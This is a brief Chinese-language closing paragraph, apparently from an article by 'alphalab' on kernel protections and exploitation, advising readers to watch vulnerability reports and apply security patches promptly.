內核保護和利用是一個長期對抗的過程,出現了新的利用方法相應的也會出現新的對抗手段。 安全防護并不能完全保證內核是安全的,一旦有危害性更高的漏洞出現,就很容易打破這些保護使其輕易的獲取系統權限。安全不能僅僅依靠這些保護機制,應要時常關注漏洞報送信息或安全郵件組里討論的安全事件,及時更新安全補丁。
本文作者:alphalab, 轉載請注明來自